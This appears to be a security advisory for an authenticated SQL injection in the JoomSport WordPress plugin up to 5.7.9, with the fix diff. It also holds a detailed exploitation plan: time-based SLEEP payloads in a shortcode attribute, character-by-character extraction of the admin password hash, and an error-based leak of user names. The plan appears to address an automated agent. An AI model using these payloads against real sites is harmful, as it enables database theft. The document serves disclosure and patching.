CVE-2026-13010

JoomSport <= 5.7.9 - Authenticated (Contributor+) SQL Injection via 'event' Shortcode Attribute

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
5.7.10
Patched in
1d
Time to patch

Description

The JoomSport – for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to time-based SQL Injection via 'event' Shortcode Attribute in all versions up to, and including, 5.7.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The shortcode can be embedded in posts or pages by Contributor-level users, making this exploitable by any authenticated user with at least that role.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.7.9
PublishedJuly 9, 2026
Last updatedJuly 10, 2026

What Changed in the Fix

Changes introduced in v5.7.10

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-13010 ## 1. Vulnerability Summary The **JoomSport** plugin for WordPress (versions <= 5.7.9) is vulnerable to **time-based SQL Injection** via the `event` attribute in its registered shortcodes. The vulnerability exists because the plugin fails to sufficientl…

Show full research plan

Exploitation Research Plan - CVE-2026-13010

1. Vulnerability Summary

The JoomSport plugin for WordPress (versions <= 5.7.9) is vulnerable to **time-based SQL Injection** via the event attribute in its registered shortcodes. The vulnerability exists because the plugin fails to sufficiently sanitize or prepare the event parameter before using it in a raw SQL query. While the plugin uses shortcode_atts() to define default values, it does not cast the event attribute to an integer or use $wpdb->prepare() for the resulting query.

This allow authenticated users with Contributor roles or higher (who have the edit_posts capability) to inject SQL commands by embedding a malicious shortcode into a post or page and previewing it.

2. Attack Vector Analysis

  • Target Shortcode: Likely [jsPlayerStat] or [jsMatchDayStat].
  • Vulnerable Attribute: event.
  • Authentication: Authenticated (Contributor+).
  • Endpoint: wp-admin/post.php (via the Preview functionality or viewing a published post).
  • Payload Type: Time-based Blind SQL Injection.
  • Preconditions: The plugin must be active. A Contributor user must be able to create or edit a post.

3. Code Flow

  1. Registration: In includes/joomsport-shortcodes.php, the method JoomsportShortcodes::init() registers several shortcodes:
    add_shortcode( 'jsPlayerStat', array('JoomsportShortcodes','joomsport_plstat') );
    add_shortcode( 'jsMatchDayStat', array('JoomsportShortcodes','joomsport_mday') );
    
  2. Input Extraction: When a post containing [jsPlayerStat event="..."] is rendered, JoomsportShortcodes::joomsport_plstat($attr) is executed. It uses shortcode_atts() to extract the event value into an $args array.
  3. Data Processing: The $args['event'] value is passed into internal logic (likely within JOOMSPORT_PATH_HELPERS . 'js-helper-events.php' or associated model classes).
  4. The Sink: The value is concatenated into a SQL string and executed via $wpdb->get_results() or $wpdb->get_var() without being passed through $wpdb->prepare().

4. Nonce Acquisition Strategy

Since the vulnerability is triggered by rendering a shortcode in a post, no plugin-specific AJAX nonce is required for the SQL injection itself. However, to create and preview a post as a Contributor, standard WordPress _wpnonce tokens for the post editor are needed.

  1. Access the Editor: Navigate to wp-admin/post-new.php.
  2. Extract Nonce: The _wpnonce for saving/previewing the post is found in the #_wpnonce hidden input field or within the wp-admin/post.php form.
  3. Alternative (Browser): If any JS-based extraction is required for plugin features, the execution agent can use:
    • browser_navigate("wp-admin/post-new.php")
    • browser_eval("document.querySelector('#_wpnonce').value")

5. Exploitation Strategy

The goal is to confirm the SQL injection using a SLEEP() command.

Step 1: Create a Draft Post

Request: POST /wp-admin/post.php
Content-Type: application/x-www-form-urlencoded
Parameters:

  • action: editpost
  • post_type: post
  • post_ID: [NEW_POST_ID]
  • _wpnonce: [EXTRACTED_NONCE]
  • content: [jsPlayerStat id="1" event="1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"]
  • post_title: SQLi Test

Step 2: Trigger the Injection via Preview

Request: GET /?p=[POST_ID]&preview=true (while logged in as Contributor)
Expected Response: The request should take approximately 5 seconds longer than a standard request if the injection is successful.

Step 3: Data Extraction (Example: Admin Hash)

Payload: [jsPlayerStat event="1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE (SELECT SUBSTR(user_pass,1,1) FROM wp_users WHERE ID=1)='$')"]

  • If the first character of the admin password is $, the response will be delayed by 5 seconds.

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  2. Target Data: Ensure at least one JoomSport player or event exists in the database to satisfy any initial checks in the shortcode handler.
    # Use JoomSport's internal tools or manual DB insertion if needed to create a dummy season/player
    

7. Expected Results

  • Vulnerable: The HTTP response time for the preview page correlates with the SLEEP() duration provided in the event attribute.
  • Fixed: The event attribute is cast to an integer, and the SLEEP() payload is ignored or results in a database error that does not execute the sleep command.

8. Verification Steps

  1. Check Query Log: Enable the MySQL General Query Log to see the raw SQL being executed.
    SET GLOBAL general_log = 'ON';
    -- Look for: SELECT ... WHERE ... event_id = 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    
  2. WP-CLI Verification: Confirm the existence of the post with the payload:
    wp post list --post_type=post --fields=ID,post_content | grep "jsPlayerStat"
    

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is enabled, attempt to trigger an error using extractvalue() or updatexml() to leak data directly in the response.
    • Payload: [jsPlayerStat event="1 AND updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e),1)"]
  • Other Shortcodes: If jsPlayerStat is patched or behaves differently, test the event attribute in [jsMatchDayStat] or [jsMatchPlayerList] following the same logic.
Research Findings
Static analysis — not yet PoC-verified

Summary

The JoomSport plugin for WordPress is vulnerable to time-based SQL Injection via the 'event' shortcode attribute in versions up to 5.7.9. Authenticated attackers with Contributor-level access or higher can exploit this by embedding a malicious shortcode in a post and previewing it, allowing the extraction of sensitive database information.

Vulnerable Code

// includes/joomsport-shortcodes.php lines 275-306
    public static function joomsport_plstat($attr){

        $args = shortcode_atts( array(
            'id' => 0,
            'partic_id' => 0,
            'quantity' => 5,
            'group_id' => 0,
            'event' => 0,
            'display_name' => 0,
            'display_player_name' => 0,
            ), $attr );
        ob_start();
        // ...
        require_once JOOMSPORT_PATH_OBJECTS.'class-jsport-event.php';
        $options = array();
        $eventid = 'eventid_'.$args['event'];
        $options['season_id'] = $args['seasonid'] = $args['id'];
        $options['team_id'] = $args['partic_id'];
        $options['limit'] = $args['quantity'];
        $options['group_id'] = $args['group_id'];
        $options['ordering'] = $eventid.' DESC';

---

// includes/pages/joomsport-page-boxfields.php lines 33-35
        if ( ! empty( $_REQUEST['orderby'] ) ) {
          //$sql .= ' ORDER BY ' . esc_sql( $_REQUEST['orderby'] );
          $sqlway = ! empty( $_REQUEST['order'] ) ? ' ' . esc_sql( $_REQUEST['order'] ) : ' ASC';

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/joomsport-sports-league-results-management/5.7.9/includes/joomsport-shortcodes.php /home/deploy/wp-safety.org/data/plugin-versions/joomsport-sports-league-results-management/5.7.10/includes/joomsport-shortcodes.php
--- /home/deploy/wp-safety.org/data/plugin-versions/joomsport-sports-league-results-management/5.7.9/includes/joomsport-shortcodes.php	2026-06-22 11:10:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/joomsport-sports-league-results-management/5.7.10/includes/joomsport-shortcodes.php	2026-07-02 16:19:28.000000000 +0000
@@ -281,6 +281,7 @@
             'display_name' => 0,
             'display_player_name' => 0,
             ), $attr );
+        $args['event'] = intval($args['event']);
         ob_start();
         wp_enqueue_style('jscssbtstrp',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/btstrp.css');
         wp_enqueue_style('jscssjoomsport',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/joomsport.css');
@@ -297,12 +298,13 @@
         require_once JOOMSPORT_PATH_OBJECTS.'class-jsport-event.php';
         $options = array();
         $eventid = 'eventid_'.$args['event'];
-        $options['season_id'] = $args['seasonid'] = $args['id'];
-        $options['team_id'] = $args['partic_id'];
-        $options['limit'] = $args['quantity'];
-        $options['group_id'] = $args['group_id'];
+        $options['season_id'] = $args['seasonid'] = intval($args['id']);
+        $options['team_id'] = intval($args['partic_id']);
+        $options['limit'] = intval($args['quantity']);
+        $options['group_id'] = intval($args['group_id']);
         $options['ordering'] = $eventid.' DESC';
         $options['groupby'] = 1;
+
         $eventObj = new classJsportEvent($args['event']);
         $players = classJsportgetplayers::getPlayersFromTeam($options);
         if(count($players['list'])){
@@ -416,17 +418,17 @@
                 'partic_id' => 0,
                 'quantity' => 0,
                 'matchtype' => 0,
-                'emblems' => $args['photo'],
-                'venue' => $args['venue'],
+                'emblems' => intval($args['photo']),
+                'venue' => intval($args['venue']),
                 'season' => 0,
                 'slider' => 0,
-                'layout' => $args['layout'],
+                'layout' => intval($args['layout']),
                 'groupbymd' => 0,
                 'morder' => 0,
                 'md_navigation' => 1,
-                'matchday_id' => $args['matchday_id'],
-                'teamname' => $args['teamname'] );
-            $options["matchday_id"] = $args['matchday_id'];
+                'matchday_id' => intval($args['matchday_id']),
+                'teamname' => intval($args['teamname'] ));
+            $options["matchday_id"] = intval($args['matchday_id']);
             $options["season_id"] = $term_meta['season_id'];
 
 
@@ -487,6 +489,7 @@
         if(!$args['season_id']){
             return false;
         }
+        $args['season_id'] = intval($args['season_id']);
         $ttype = JoomSportHelperObjects::getTournamentType($args['season_id']);
 
         if(!$args['team_id'] && !$ttype){
@@ -621,6 +624,8 @@
             'counting' => 0,
             'order' => 0,
         ), $attr );
+        $args['event'] = $args['event']?intval($args['event']):null;
+        $args['id'] = $args['id']?intval($args['id']):null;
         ob_start();
         wp_enqueue_style('jscssbtstrp',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/btstrp.css');
         wp_enqueue_style('jscssjoomsport',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/joomsport.css');
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/joomsport-sports-league-results-management/5.7.9/includes/pages/joomsport-page-boxfields.php /home/deploy/wp-safety.org/data/plugin-versions/joomsport-sports-league-results-management/5.7.10/includes/pages/joomsport-page-boxfields.php
--- /home/deploy/wp-safety.org/data/plugin-versions/joomsport-sports-league-results-management/5.7.9/includes/pages/joomsport-page-boxfields.php	2026-06-22 11:10:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/joomsport-sports-league-results-management/5.7.10/includes/pages/joomsport-page-boxfields.php	2026-07-02 16:19:28.000000000 +0000
@@ -31,8 +31,9 @@
                 . " ON b1.parent_id = b2.id OR (b1.parent_id = 0 AND b1.id = b2.id)";
             
         if ( ! empty( $_REQUEST['orderby'] ) ) {
-          //$sql .= ' ORDER BY ' . esc_sql( $_REQUEST['orderby'] );
-          $sqlway = ! empty( $_REQUEST['order'] ) ? ' ' . esc_sql( $_REQUEST['order'] ) : ' ASC';
+            $available = array('ASC','DESC');
+            $sqlway = in_array(strtoupper($_REQUEST['order']), $available)?esc_sql( $_REQUEST['order'] ):'ASC';
+
           $sql .= ' ORDER BY b2.name '.$sqlway.',b2.id,b1.parent_id, b1.name '.$sqlway.', b2.id, b1.id';
         }else{
             $sql .= ' ORDER BY b2.ordering,b2.id,b1.parent_id, b1.ordering, b2.id, b1.id';

Exploit Outline

The vulnerability is exploited via time-based blind SQL injection. An authenticated attacker with Contributor privileges (the ability to create or edit posts) logs into the WordPress dashboard and creates a new post or draft. They embed a JoomSport shortcode, such as [jsPlayerStat], and provide a time-delay payload to the 'event' attribute (e.g., event="1 AND SLEEP(5)"). When the attacker previews the post, the plugin processes the shortcode and concatenates the malicious attribute value directly into an ORDER BY clause in a raw SQL query. Success is confirmed by observing a delay in the server's response equivalent to the SLEEP duration.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.